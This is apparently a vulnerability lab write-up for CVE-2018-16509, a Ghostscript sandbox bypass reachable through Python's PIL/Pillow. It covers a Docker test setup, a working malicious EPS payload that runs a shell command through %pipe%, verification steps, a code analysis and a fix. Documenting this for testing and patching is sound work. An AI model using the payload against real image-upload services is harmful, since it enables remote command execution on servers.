Python PIL/Pillow Remote Command Execution (CVE-2018-16509)

中文文档

PIL/Pillow is a widely used image processing library in Python.

In Ghostscript versions prior to 9.24, there exists a -dSAFER sandbox bypass vulnerability (CVE-2018-16509). Incorrect "restoration of privilege" checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction.

This vulnerability affects various applications that use Ghostscript for image processing, including Python's PIL/Pillow library. When an application uses PIL/Pillow to process user-uploaded images and the environment has a vulnerable version of Ghostscript installed, it may lead to remote command execution.

References:

Environment Setup

Execute the following command to start a vulnerable Flask application (using Ghostscript 9.23):

docker compose up -d

After the environment is started, visit http://your-ip:8000 to see a simple image upload page.

Vulnerability Reproduction

Prepare a malicious EPS file (provided as rce.jpg in this environment) with the following content:

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops

Visit http://your-ip:8000 and upload this file.

After uploading, the server will process this image using PIL/Pillow, and when the resize function is called, it will trigger the vulnerability and execute the touch /tmp/got_rce command.

Execute the following command to verify if the vulnerability has been successfully exploited:

docker compose exec web ls -la /tmp/

If you see the /tmp/got_rce file, it means the command execution was successful.

Vulnerability Analysis

The core of the vulnerability lies in PIL/Pillow calling the system's Ghostscript program when processing EPS images. In EPSImagePlugin.py, PIL uses subprocess to call Ghostscript:

command = ["gs",
           "-q",                         # quiet mode
           "-g%dx%d" % size,             # set output geometry (pixels)
           "-r%fx%f" % res,              # set input DPI (dots per inch)
           "-dBATCH",                    # exit after processing
           "-dNOPAUSE",                  # don't pause between pages
           "-dSAFER",                    # safe mode
           "-sDEVICE=ppmraw",            # ppm driver
           "-sOutputFile=%s" % outfile,  # output file
           "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
                                         # adjust for image origin
           "-f", infile,                 # input file
           "-c", "showpage",             # showpage
           ]

Although the -dSAFER parameter is used, Ghostscript versions prior to 9.24 have a sandbox bypass vulnerability that allows attackers to execute arbitrary commands through specially crafted PostScript code.

In the sample application, when an image is uploaded, it is processed as follows:

img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)

resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)

Simply calling Image.open() will not trigger the vulnerability, but when methods that actually need to load image data, such as resize() or save(), are called, they will trigger the Ghostscript call and execute malicious commands.

To fix this vulnerability, you need to update Ghostscript to version 9.24 or higher, or disable EPS image processing functionality when using PIL/Pillow to process user-uploaded images.